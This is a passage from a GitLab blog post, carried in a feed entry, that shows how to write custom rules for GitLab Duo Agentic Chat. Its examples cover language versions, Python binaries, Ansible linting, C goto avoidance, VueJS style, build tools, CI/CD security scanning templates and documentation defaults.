        <link href="https://about.gitlab.com/blog/custom-rules-duo-agentic-chat-deep-dive/"/>
        <updated>2025-08-12T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Transform GitLab Duo from a generic AI assistant into your team's personalized coding expert with custom rules. Stop constantly correcting AI suggestions that use wrong Java versions, incorrect Python binaries, or violate your style guides. This deep-dive shows you how to create intelligent custom rules that automatically enforce your development standards.</p>
<p>We'll cover:</p>
<ul>
<li>Version control: Lock AI to Java 8, handle Python3 environments, and generate multi-platform C++ code</li>
<li>Style enforcement: Prevent C <code>goto</code> anti-patterns, enforce VueJS design patterns, and ensure Ansible linter compliance</li>
<li>DevSecOps automation: Bootstrap projects with proper CI/CD security scanning and documentation standards</li>
</ul>
<p>Each example includes working GitLab projects to fork, complete configurations, and before/after demonstrations. Learn how banking systems stay Java 8 compliant, IoT collectors work cross-platform, and VueJS components follow GitLab's production standards.</p>
<h2>Table of Contents</h2>
<ul>
<li><a href="#first-steps-with-custom-rules-for-duo-agentic-chat">First steps with custom rules for Duo Agentic Chat</a>
<ul>
<li><a href="#requirements">Requirements</a></li>
<li><a href="#quick-start-5-minute-success">Quick start: 5-minute success</a></li>
<li><a href="#guidelines-for-custom-rule-development">Guidelines for custom rule development</a></li>
<li><a href="#ask-gitlab-duo-chat-about-existing-development-style-guides">Ask GitLab Duo Chat about existing development style guides</a></li>
</ul>
</li>
<li><a href="#more-custom-rules-use-cases">More custom rules use cases</a>
<ul>
<li><a href="#use-cases-version-and-platform-support">Use cases: Version and platform support</a>
<ul>
<li><a href="#java-version-requirements">Java version requirements</a></li>
<li><a href="#c-multi-platform-support-windows-linux-macos">C++ Multi-platform support (Windows, Linux, macOS)</a></li>
</ul>
</li>
<li><a href="#use-case-development-environments">Use case: Development environments</a>
<ul>
<li><a href="#python-3-development-environment">Python 3 development environment</a></li>
<li><a href="#ansible-linter-compliance">Ansible linter compliance</a></li>
</ul>
</li>
<li><a href="#use-case-design-patterns">Use case: Design patterns</a>
<ul>
<li><a href="#avoid-anti-patterns-with-c-and-goto-statements">Avoid anti-patterns with C and goto statements</a></li>
<li><a href="#frontend-style-guides-for-vuejs-3">Frontend style guides for VueJS 3</a></li>
</ul>
</li>
<li><a href="#use-case-devsecops-workflows">Use case: DevSecOps workflows</a>
<ul>
<li><a href="#issue-and-mr-templates">Issue and MR templates</a></li>
<li><a href="#build-tools">Build tools</a></li>
<li><a href="#cicd-configuration-preferences">CI/CD configuration preferences</a></li>
<li><a href="#security-scanning-preferences">Security scanning preferences</a></li>
<li><a href="#tests-and-linters">Tests and linters</a></li>
<li><a href="#documentation-generation">Documentation generation</a></li>
<li><a href="#refactoring-and-code-change-requirements">Refactoring and code change requirements</a></li>
<li><a href="#onboarding-requirements-licenses">Onboarding, requirements, licenses</a></li>
<li><a href="#git-flows">Git flows</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#distribution-and-testing-of-custom-rules">Distribution and testing of custom rules</a>
<ul>
<li><a href="#custom-rules-resources">Custom Rules resources</a></li>
</ul>
</li>
<li><a href="#fun-activity-explore-behavior-changes">Fun activity: Explore behavior changes</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>
<h2>First steps with custom rules for Duo Agentic Chat</h2>
<p>Follow the <a href="https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#create-custom-rules">documentation</a> to create custom rules for GitLab Duo Agentic Chat in the <code>.gitlab/duo/chat-rules.md</code> directory in a new or existing GitLab project in your IDE.</p>
<p>You can start with free-form text instructions, and iterate on the best outcome. Custom rules support <a href="https://docs.gitlab.com/user/markdown/">Markdown</a> for better structuring.</p>
<ul>
<li>Use markdown headings (<code>#</code>, <code>##</code>, etc) to create sections.</li>
<li>Use markdown lists (<code>-</code>) to provide concise instructions for LLMs and Agents.</li>
<li>Escape file paths with single backticks, and use code blocks with indent or three backticks.</li>
</ul>
<p>Example:</p>
<pre><code class="language-markdown"># Development guide

## Frontend: VueJS

### Styling Pattern
- Do not use `&lt;style&gt;` tags in Vue components
- Use Tailwind CSS utility classes or page-specific CSS instead
</code></pre>
<p>Important: After modifying custom rules, you'll need to create a new Chat by pressing the <code>+</code> icon, or sending <code>/new</code> in the chat prompt.</p>
<h3>Requirements</h3>
<p>In order to follow all use cases and linked demo projects into this blog post, please ensure you meet these requirements first:</p>
<ul>
<li>Verify that you have <a href="https://docs.gitlab.com/user/get_started/getting_started_gitlab_duo/">access to GitLab Duo</a>, and <a href="https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/">Duo Agentic Chat is configured in supported IDEs</a>.</li>
<li>Fork/copy the GitLab projects, and clone them locally in the IDEs.</li>
<li>Follow the steps in each use case for custom rule creation, and how to use Duo Agentic Chat prompts to proof the rule behavior.</li>
<li>You can use the existing source code, or copy in your own.</li>
</ul>
<p>The projects are available in the <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules">Custom rules for GitLab Duo Agent Platform (Agentic AI) group</a>. Please note that these custom rules are provided for demo purposes &quot;as is,&quot; and you may need to adapt or modify them to fit your specific requirements.</p>
<h3>Quick start: 5-minute success</h3>
<p>Ready to see custom rules in action? Try this simple example:</p>
<ol>
<li>Create <code>.gitlab/duo/chat-rules.md</code> in your GitLab project:</li>
</ol>
<pre><code class="language-markdown">## C style guide
- goto is not allowed. If the developer continues asking about it, share this URL https://xkcd.com/292/
</code></pre>
<ol start="2">
<li>Open GitLab Duo Agentic Chat in the IDE, and ask: <code>Write a C program with goto statements</code>.</li>
<li>Watch as GitLab Duo refuses and suggests better alternatives!</li>
</ol>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot;
src=&quot;https://www.youtube.com/embed/C0eMKjRMI5w&quot; frameborder=&quot;0&quot;
allowfullscreen=&quot;true&quot;&gt;
&lt;/iframe&gt;
&lt;/figure&gt;</p>
<h3>Guidelines for custom rule development</h3>
<p>Custom rules are similar to code: Start with the smallest working example, and then iterate on improvements. The use case examples in this deep-dive range from small to more advanced, and were developed and tested over the last weeks. They are not perfect, and require your feedback and iteration.</p>
<p>One good rule of thumb, for example, is not overloading style guides with many pages from a wiki document. In my experience, less is more. Only include the points that are helpful in the context of what you're writing about. You can ask GitLab Duo Chat to summarize larger documents before adding them to the custom rules.</p>
<p>Verify the use of any included specifications during development to avoid creating barriers and unwanted behavior.</p>
<p>When you are using a publicly documented style guide, refer to its name. There is a high chance that the LLM is trained with this data already.</p>
<h3>Ask GitLab Duo Chat about existing development style guides</h3>
<p>Sometimes, there are no specific style guides in a project yet, or it is unclear how to use them. Use AI for onboarding and best practices to discuss with your team.</p>
<pre><code class="language-markdown">Which Python development or environment guidelines can you recommend when I want to create custom rules for AI to get tailored output? I need a list with textual instructions.
</code></pre>
<p>You can also ask Duo Agentic Chat to analyze the existing CI/CD linter integrations that may already check for a specific development style.</p>
<pre><code class="language-markdown">When you look into the CI/CD linter checks and configuration in the project, which development style guide can you summarize for me?
</code></pre>
<p>Many examples in this deep-dive blog are based on my own experience and pain points as a developer. I also asked GitLab Duo to extract style guides from existing projects, and used GitLab Duo Code Suggestions to help with auto-completing existing custom rules. You can achieve the same by configuring <a href="https://docs.gitlab.com/user/project/repository/code_suggestions/supported_extensions/#add-support-for-more-languages"><code>markdown</code> as an additional language for GitLab Duo Code Suggestions</a> in IDEs.</p>
<h2>More custom rules use cases</h2>
<p>The following sections provide an overview of specific style guides. You can map similar programming languages and environments to your production use cases.</p>
<ul>
<li><strong>Version and platform support</strong>: Refer to the <a href="#java-version-requirements">Java section below</a> to learn how to force a specific language standard for generated and created code. You can apply a similar process for C++23 and older, PHP 8, Ruby 3, etc. The <a href="#c-multi-platform-support-windows-linux-macos">C++ section below</a> shows how to instruct agentic AI with multi-platform support.</li>
<li><strong>Development environments</strong>: Refer to the sections below on <a href="#python-3-development-environment">Python</a> and <a href="#ansible-linter-compliance">Ansible</a>. Specify the development environment, binaries, tools and more. You can also instruct agents with routing information where to find tests/scripts, and enforce compliance with linters.</li>
<li><strong>Design patterns</strong>: You can specify comprehensive design patterns with <a href="#frontend-style-guides-for-vuejs-3">VueJS</a> as an example, leveraging the GitLab production development style guides as a foundation.</li>
<li><strong>DevSecOps workflows</strong>: Configure comprehensive DevSecOps practices including <a href="#cicd-configuration-preferences">CI/CD configuration</a> for specific CI/CD attributes and defaults for security scanning, <a href="#tests-and-linters">tests and linters</a>, and <a href="#build-tools">build tools</a>. Frequently requested use cases for bootstrapping projects include <a href="#documentation-generation">documentation generation</a> including <code>README.md</code> and architecture diagrams, <a href="#issue-and-mr-templates">issue and MR templates</a>, <a href="#onboarding-requirements-licenses">onboarding, requirements, and licenses</a>, and <a href="#git-flows">Git flows</a> with <code>.gitignore</code>. Advanced techniques with custom rules are provided for <a href="#refactoring-and-code-change-requirements">refactoring and code change requirements</a>.</li>
</ul>
<h3>Use cases: Version and platform support</h3>
<p>Software development often requires specific programming language and framework versions, and single or multi-platform support. The following examples highlight these scenarios.</p>
<h4>Java version requirements</h4>
<p>Enterprise environments do not always use the latest and greatest software version. They often rely on versions that are maintained with security patches for a longer period of time. For example, you will find Java 7 and Java 8 still in use in some enterprises today.</p>
<p>Always prepending the required version in chat prompts can be cumbersome, and lead to human error, even if you only forget one time.</p>
<pre><code class="language-markdown">Implement classes for managing banking transactions and different currencies.
</code></pre>
<p>The example will need additional specifications for Java 8:</p>
<pre><code class="language-markdown">Use Java 8 for the implementation.
</code></pre>
<p>To permanently enforce Java 8, you can create a custom rule in <code>.gitlab/duo/chat-rules.md</code> and optionally add a reference epic URL when asked for code modernization:</p>
<pre><code class="language-markdown">## Java style guide

- Only Java 8 is allowed when suggesting and editing code.
- When the user asks about code modernization and Java 9 or 21, or newer, point them to this issue to contribute: https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-java-versions/-/issues/1
</code></pre>
<p>A full demonstration is available in the <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-java-versions">Custom Rules - Java versions project</a>.</p>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot;
src=&quot;https://www.youtube.com/embed/iZLvpgHdABY&quot; frameborder=&quot;0&quot;
allowfullscreen=&quot;true&quot;&gt;
&lt;/iframe&gt;
&lt;/figure&gt;</p>
<p>The resulting changes are available in <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-java-versions/-/merge_requests/2">this MR</a>.</p>
<h4>C++ multi-platform support (Windows, Linux, macOS)</h4>
<p>Application development in C++ can require multi-platform support, especially when running service agents on systems using Windows, Linux, and macOS. The applications are deeply integrated into customer products, and a migration to a more modern language like Go or Rust is not always possible or practical.</p>
<p>Maintaining code that works on multiple platforms can be challenging due to differences in Operating system APIs, toolchains, library versions, and file system paths. Developers often face multiple <code>#if defined</code> pre-processor macros, nested conditions, and adding custom code and tests for each supported platform. This adds technical debt and can introduce maintenance challenges.</p>
<p>AI can help when generating correct and platform-specific code, but it needs to know about these requirements. Agentic AI will either understand the existing code base through a knowledge graph, or developers will need to provide instructions through custom rules and chat prompts.</p>
<p>Let's try this use case in practice. The <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-cpp-platform-iot-sensor-data-collector">Custom Rule - C++ platforms - IoT Sensor Data Collector project</a> implements an IoT sensor data collector and has open tasks to modernize the code base, and add multi-platform support for Linux, Windows, and macOS. You can fork the project and clone it locally.</p>
<p>Open the <code>.gitlab/duo/chat-rules.md</code> file and review or add the following custom rules:</p>
<pre><code class="language-markdown">## C++ style guide

- The application runs on Linux, macOS and Windows. Generate code that handles the OS API differences.
- Use pre-processor macros for Windows and POSIX conventions for Unix (Linux, macOS).

## CI/CD Configuration

- Ensure that GitLab CI/CD jobs cover the different platform support. Use CI/CD job templates with extends where applicable.
</code></pre>
<p>Start a new Chat, and ask to restructure code for multi-platform support.</p>
<pre><code class="language-markdown">Please help me restructure the code and ensure multi-platform support.
</code></pre>
<p>You can also refer to the issue number, or URL (<a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-cpp-platform-iot-sensor-data-collector/-/issues/3">issue 3</a>). GitLab Duo will automatically fetch the issue content from the GitLab platform, and put it into AI context.</p>
<pre><code class="language-markdown">Please help me implement issue 3

Please help me implement https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-cpp-platform-iot-sensor-data-collector/-/issues/3
</code></pre>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot;
src=&quot;https://www.youtube.com/embed/C5NxOjB0R1Q&quot; frameborder=&quot;0&quot;
allowfullscreen=&quot;true&quot;&gt;
&lt;/iframe&gt;
&lt;/figure&gt;</p>
<h3>Use case: Development environments</h3>
<p>Development environments often vary between operating systems and developers. This can be confusing for AI models generating code or suggesting changes. The following use cases illustrate these environment problems and their solutions with custom rules.</p>
<h4>Python 3 development environment</h4>
<p>A Python development environment usually comes with the <code>python</code> executable and <code>pip</code> package manager. However, on systems like MacOS or Ubuntu, you need to use <code>python3</code> and <code>pip3</code> to get access to more recent Python 3 versions. This can create confusion running Python scripts, creating virtual environments, and installing package dependencies.</p>
<p>For this custom rules use case, I installed Python using <a href="https://brew.sh/">Homebrew</a> which results in a binary executable called <code>python3</code> and a package manager <code>pip3</code>.</p>
<p>As an example, set up a Python virtual environment, install dependencies using <code>pip</code>, and run the application:</p>
<pre><code class="language-shell">python -m venv myenv
source myenv/bin/activate

pip install -r requirements.txt

python script.py
</code></pre>
<p>This doesn't work as expected because we need to use specific binaries with version <code>3</code>:</p>
<pre><code class="language-shell">python3 -m venv myenv
source myenv/bin/activate

pip3 install -r requirements.txt

python3 script.py
</code></pre>
<p>We can test this problem with Agentic Chat for both, suggested code blocks, and the approval request for commands to execute. The <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-python-3-env-shop-app">Custom Rule - Python3 Env Shop app project</a> implements a web shop application in Python, and provides the default Python executable paths in its <code>README.md</code> file which typically gets added into Agentic Chat context.</p>
<p><img src="/images/blog/custom-rules-gitlab-duo-agent-platform-deepdive/gitlab-duo-custom-rules-python3-env-problem.png" alt="Duo Agentic Chat, proposing the wrong binary commands"></p>
<p>In order to overcome the problem, review <code>.gitlab/duo/chat-rules.md</code> which contains the following custom rules to enforce the Python executable names.</p>
<pre><code class="language-markdown">## Python style guide

- For Python binaries, always use python3 and pip3 when suggesting or running shell commands.
- Detect the Python environment automatically when possible.
</code></pre>
<p>You can also instruct agents with pre-defined routes to gather additional information through tool calling and/or MCP, when they do not attempt this automatically already.</p>
<p>Open a new Agentic Chat, and ask <code>How to run this application?</code> to see custom rules in action, using <code>python3</code> and <code>pip3</code> as desired.</p>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot;
src=&quot;https://www.youtube.com/embed/UQ2_OCvUmF0&quot; frameborder=&quot;0&quot;
allowfullscreen=&quot;true&quot;&gt;
&lt;/iframe&gt;
&lt;/figure&gt;</p>
<p>The full source code is available in the <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-python-3-env-shop-app">Custom Rule - Python3 Env Shop app project</a>.</p>
<h4>Ansible linter compliance</h4>
<p>Modern Ansible for Infrastructure-as-Code tasks enforces a strict style guide, which can be verified using <code>ansible-lint</code>: It detects when Boolean values (<code>true</code>/<code>false</code>) are required instead of strings (<code>yes</code>/<code>no</code>), builtin module actions requiring the FQCN (Fully Qualified Collection Name) as parameter names, and trailing whitespaces that need trimming. CLI and IDE integrations, such as the <a href="https://developers.redhat.com/learning/learn:ansible:get-started-ansible-visual-studio-code-extension/resource/resources:install-and-configure-ansible-extension-visual-studio-code">VS Code Ansible extension by Red Hat</a> help visualize these errors to developers. LLMs and chat agents might not always generate correct Ansible code and need manual work to fix it.</p>
<p>Let's look at the problem with a concrete use case. The following example implements a basic Ansible playbook in the <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-ansible-environment">Custom Rule - Ansible Environment project</a> to set up a GitLab server on Ubuntu. You'll notice the Boolean values are incorrectly typed as strings (<code>yes</code>/<code>no</code>), and additional problem reports for builtin module actions and whitespace trimming.</p>
<p><img src="/images/blog/custom-rules-gitlab-duo-agent-platform-deepdive/gitlab-duo-custom-rules-ansible-problem01-boolean.png" alt="VS Code with Ansible lint error: Wrong boolean type"></p>
<p><img src="/images/blog/custom-rules-gitlab-duo-agent-platform-deepdive/gitlab-duo-custom-rules-ansible-problem02-fqcn.png" alt="VS Code with Ansible lint error: Builtin module action FQCN"></p>
<p><img src="/images/blog/custom-rules-gitlab-duo-agent-platform-deepdive/gitlab-duo-custom-rules-ansible-problem03-whitespaces.png" alt="VS Code with Ansible lint error: trailing whitespaces"></p>
<p>Let's see how we can create custom rules to help Duo Agents fix the Ansible linter errors, and prevent them from happening in the future.</p>
<p>Fork and clone the <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-ansible-environment">Custom Rule - Ansible Environment project</a> and open <code>.gitlab/duo/chat-rules.md</code> in the IDE inspect the custom rules:</p>
<pre><code class="language-markdown">## Ansible styleguide

- Boolean values in Ansible should be typed as &quot;true&quot; or &quot;false&quot; and never as string.
- Ansible module builtin actions must use the FQCN (Fully Qualified Collection Name).
- Always trim whitespaces in Ansible YAML.
</code></pre>
<p>Open a new GitLab Duo Agentic Chat prompt, and ask Duo Agent for the same Ansible playbook:</p>
<pre><code class="language-markdown">Please help me fix the Ansible linter errors
</code></pre>
<p>The Agents will analyze the repository, ask to run <code>ansible-lint</code> commands, and investigate how to fix the problems followed the defined custom rules.</p>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot;
src=&quot;https://www.youtube.com/embed/P465U8IfScE&quot; frameborder=&quot;0&quot;
allowfullscreen=&quot;true&quot;&gt;
&lt;/iframe&gt;
&lt;/figure&gt;</p>
<p>You can inspect the custom rules and Ansible code changes in <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-ansible-environment/-/merge_requests/1">this MR</a> in the <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-ansible-environment">Custom Rule - Ansible Environment project</a>.</p>
<p>Async exercise: Start a new project where custom rules are configured as default already, and verify the correct style guide applied immediately.</p>
<h3>Use case: Design patterns</h3>
<p>Design patterns and patterns-to-avoid are specific to languages and frameworks. This is the main focus in this section.</p>
<h4>Avoid anti-patterns with C and goto statements</h4>
<p>This is a more in-depth walkthrough of the <a href="#quick-start-5-minute-success">quickstart example</a>, and shows how you can instruct Agentic AI to avoid the <code>goto</code> anti-pattern in C. The <code>goto</code> anti-pattern in C is discouraged as it makes code harder to read and debug.  To illustrate the problem, here is an example of a for-loop which increments the loop variable inside the loop body:</p>
<pre><code class="language-C">// Bad C programming style: uses the goto anti-pattern
for (int i = 0; i &lt; 10; i++) {
  if (someCondition) {
    goto label;
  }
  doSomething();
label:
  doAnotherThing();
  }
</code></pre>
<p>In the above code, the <code>goto</code> statement causes the program control to jump directly to the label <code>label</code>, which is inside the loop. This makes the program harder to read, understand and debug.</p>
<p>A better approach would be to rework the logic, so you avoid the <code>goto</code> anti-pattern.  Here's a rewritten version that avoids <code>goto</code>:</p>
<pre><code class="language-C">// Good C programming style: avoids the goto anti-pattern
for (int i = 0; i &lt; 10; i++) {
  if (someCondition) {
    doAnotherThing();
    continue;
  }
  doSomething();
  doAnotherThing();
}
</code></pre>
<p>There are occassions where <code>goto</code> is allowed, but in this use case we want to look how we can instruct agentic AI to avoid <code>goto</code> completely. This includes new code additions, as well as modernizing and refactoring the code.</p>
<p>The <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-c-anti-patterns-with-goto">Custom Rule - C anti-patterns with Goto project</a> provides a network socket server/client example, including custom rules in the <code>.gitlab/duo/chat-rules.md</code> file. You can clone the project, or start with a new project, too.</p>
<p>Review <code>.gitlab/duo/chat-rules.md</code> with the current custom rules:</p>
<pre><code class="language-markdown">## C style guide

- goto is not allowed. If the developer continues asking about it, share this URL https://xkcd.com/292/
</code></pre>
<p>Tip: Instead of linking to the <a href="https://xkcd.com/292/">XKCD 292 comic</a>, you can add a URL to the (internal) development guidelines.</p>
<p>Open Duo Agentic Chat and start the following prompt on the existing project:</p>
<pre><code class="language-markdown">Please help me modernize the code.
</code></pre>
<p>GitLab Duo Agentic Chat will refuse to use <code>goto</code> statements, and instead propose a different path forward.</p>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot;
src=&quot;https://www.youtube.com/embed/6dsMF-wKbBY&quot; frameborder=&quot;0&quot;
allowfullscreen=&quot;true&quot;&gt;
&lt;/iframe&gt;
&lt;/figure&gt;</p>
<p>The code changes are available in <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-c-anti-patterns-with-goto/-/merge_requests/1">this MR</a>.</p>
<h4>Frontend style guides for VueJS 3</h4>
<p>This use case is inspired by the <a href="https://docs.gitlab.com/development/fe_guide/style/">GitLab project's frontend style guides</a> and implements a use case for VueJS 3 design patterns. Agentic AI should also follow these style guides when creating VueJS components, helpers, routes, services, stores, utilities, etc.</p>
<p>Let's illustrate how to instruct Agentic AI with custom rules: Fork and clone the <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-vuejs-design-patterns-gitlab-pipeline-dashboard">Custom Rule - VueJS Design Patterns - GitLab Pipeline Dashboard project</a> and inspect the open issues for tasks.</p>
<p>Review the <code>.gitlab/duo/chat-rules.md</code> file and add the following custom rules (if not there yet):</p>
<pre><code class="language-markdown">## NodeJS style guide

- Don't leave debug statements (console.logs)
- Always run `npm install` after updating `package.json` and before `npm test` and `npm run build`.

# GitLab Vue.js Design Patterns Style Guide

## Component Structure

### Data Definition Pattern
- Explicitly define data being passed into Vue apps
- Avoid spread operators for better discoverability
- Parse non-scalar values during instantiation

### Template Naming Pattern
- Use kebab-case for component names in templates

### File Structure Pattern
- Use `.vue` files for Vue templates
- Do not use `%template` in HAML

### Styling Pattern
- Do not use `&lt;style&gt;` tags in Vue components
- Use Tailwind CSS utility classes or page-specific CSS instead

[...]
</code></pre>
<p>The full custom rules are available in the <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-vuejs-design-patterns-gitlab-pipeline-dashboard/-/blob/main/.gitlab/duo/chat-rules.md?ref_type=heads&amp;plain=1"><code>.gitlab/duo/chat-rules.md</code> file</a>.</p>
<p>Next, open GitLab Duo Agentic Chat and ask how to <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-vuejs-design-patterns-gitlab-pipeline-dashboard/-/issues/6">add new pipeline mini charts</a>, or other tasks you come across. Tip: You can reference only the issue, or alternatively paste the full issue URL, and Agentic Chat will look up both and extract the title and description for the current context.</p>
<pre><code class="language-markdown">Please help me implement issue 6
</code></pre>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot;
src=&quot;https://www.youtube.com/embed/KbczS-OVb90&quot; frameborder=&quot;0&quot;
allowfullscreen=&quot;true&quot;&gt;
&lt;/iframe&gt;
&lt;/figure&gt;</p>
<p>The resulting code changes are available in <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-vuejs-design-patterns-gitlab-pipeline-dashboard/-/merge_requests/3">this MR</a>.</p>
<p>Note: The VueJS style guide was extracted from the <a href="https://gitlab.com/gitlab-org/gitlab">gitlab-org/gitlab project</a> asking GitLab Duo Agentic Chat with the following prompt sequence:</p>
<pre><code class="language-markdown">What is the development style guide for VueJS?

Can you print the styleguide as Markdown formatted list with headings.

Create a file in the repo, and only print the style guide rules there, no codeblocks.
</code></pre>
<p><img src="/images/blog/custom-rules-gitlab-duo-agent-platform-deepdive/gitlab-duo-custom-rules-intellij-gitlab-vuejs-styleguide-analysis.png" alt="IntelliJ IDEA with  source code, and GitLab Duo Agentic Chat writing the styleguide file"></p>
<h3>Use case: DevSecOps workflows</h3>
<p>DevSecOps workflows range from best practices for bootstrapping a project with issue/MR templates, <code>.gitignore</code>, GitLab CI/CD configuration, <code>README.md</code> documentation, licenses and much more. The following section explores a variety of use cases. You can use them as inspiration for your own custom rules.</p>
<p>Common DevSecOps automation with custom rules:</p>
<ul>
<li><strong>Project bootstrap</strong>: Auto-create README, .gitignore, CI/CD config</li>
<li><strong>Security defaults</strong>: Enforce SAST, dependency scanning, secrets detection</li>
<li><strong>Documentation</strong>: Generate issue/MR templates, architecture diagrams</li>
</ul>
<p>A combined use case example is available in the <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-devsecops-workflows">Custom Rule - DevSecOps workflows - Git README build tools issue MR templates project</a>. You can inspect the custom rules, and fork/clone it locally to ask Agentic Chat with a new prompt such as: <code>I need to bootstrap this project. Please help me with that</code>.</p>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot;
src=&quot;https://www.youtube.com/embed/hKpLcBtbC4g&quot; frameborder=&quot;0&quot;
allowfullscreen=&quot;true&quot;&gt;
&lt;/iframe&gt;
&lt;/figure&gt;</p>
<p>The next sections provide detailed prompts, and most of them are shown in the recording, too.</p>
<h4>Issue and MR templates</h4>
<p>You can instruct agentic AI to create issue/MR templates when they are missing, and offer to add project-specific information or labels. Agents will automatically query the GitLab API in the background, and put the current project structure into a template.</p>
<pre><code class="language-markdown">## Issue and MR templates

- If no issue templates for `Default` and `Feature Proposal` exist in .gitlab/issue_templates, create them using the following raw template sources:

        Default: https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/raw/main/.gitlab/issue_templates/Default.md
        Feature Proposal: https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/raw/main/.gitlab/issue_templates/Feature%20Proposal.md

- If no default MR template `Default` exists in `.gitlab/merge_request_templates`, create them using the following raw template sources:

        Default: https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/raw/main/.gitlab/merge_request_templates/Default.md

- Update the project URLs, and available labels in the fetched templates accordingly, or remove anything unknown and let the user know about TODOs.
- Create a test issue/MR, when bootstrapping a new project.
</code></pre>
<h4>Build tools</h4>
<p>There is a variety of build tools, package managers, compilers, container builders available per programming language. When asking about updates and dependencies, agentic AI can use these default tools without asking for input.</p>
<pre><code class="language-markdown">## Build tools

- Always use a virtual env with Python, and set it up before executing any Python commands
- For C/C++: Prefer CMake, and gcc on Linux, clang on macOS, MSVC on Windows.
- For Python: Always use pip
- For Java: Always use Gradle
- For Node.js, suggest to use npm/yarn.
- For Rust: Always use cargo
- For Go: Always use go.mod
- For Ruby: Always use Bundler
- For PHP: Always use Composer
- For .NET: Always use .NET CLI
- For Scala: Always use SBT
- For Elixir: Always use Mix
- For Haskell: Always use Cabal
- For Swift: Always use Swift Package Manager
- For Kotlin: Always use Gradle or Maven.
- For TypeScript: Always use npm or yarn.
- Always suggest using a package manager or build tool based on the main programming language of the project.
- When asking for dependencies, assume that the user wants to update all current dependencies to the latest version available.

- Always suggest to create a Dockerfile if there isn't one. Always use a minimal image and use a tag for security scanning.
- Always add a `Dockerfile` with the base image and the entrypoint if one does not exist.
- Always include a `.dockerignore` and use it in the Docker build process.
</code></pre>
<h4>CI/CD configuration preferences</h4>
<p>Use rules to prefer specific container images, variable and job name patterns, etc.</p>
<pre><code class="language-markdown">## CI/CD Configuration

- If no GitLab CI/CD configuration exists in `.gitlab-ci.yml`, ask the user for approval to create.
- Create a GitLab CI/CD configuration automatically when a new project gets bootstrapped

- Always use alpine as container image to build the application.
- Add caching for detected programming languages and frameworks.
</code></pre>
<h4>Security scanning preferences</h4>
<p>Security scanners can also be enforced in GitLab CI/CD configuration. The following example instructs agents to always include Advanced SAST, dependency scanning, and secret detection templates. It has been successfully tested across other use cases in this tutorial.</p>
<pre><code class="language-markdown">## Security scanning

- Always use Advanced SAST.
- Always include SAST, Dependency Scanning, Secrets Detection templates, similar to the following format:

    include:
        - template: Jobs/SAST.gitlab-ci.yml
        - template: Jobs/Secret-Detection.gitlab-ci.yml
        - template: Jobs/Dependency-Scanning.gitlab-ci.yml

    variables:
        GITLAB_ADVANCED_SAST_ENABLED: 'true'
</code></pre>
<p><img src="/images/blog/custom-rules-gitlab-duo-agent-platform-deepdive/gitlab-duo-custom-rules-cicd-security-scanning-full.png" alt="VS Code with a Java app, GitLab CI/CD, custom rules, and Agentic Chat adding Advanced SAST"></p>
<h4>Tests and linters</h4>
<p>You can also directly instruct Agentic Chat where to find the tests, and how to run them. The same idea applies to calling linter commands. Thanks Jessie Young for sharing this neat tip!</p>
<pre><code class="language-markdown">## Tests and linting details

- Tests in this project are located in __ directory and are run using the ___ command
- Linting is done with the ___ command
</code></pre>
<h4>Documentation generation</h4>
<p>Best of documentation custom rules.</p>
<pre><code class="language-markdown">- If a README is missing, ask the user if they want to create one. If the user agrees, create a basic `README.md` for them.
- When the user asks for an architecture proposal, always respond with generating an architecture diagram in Mermaid, and ask the user if they want you to add it to the README.md or another documentation file.
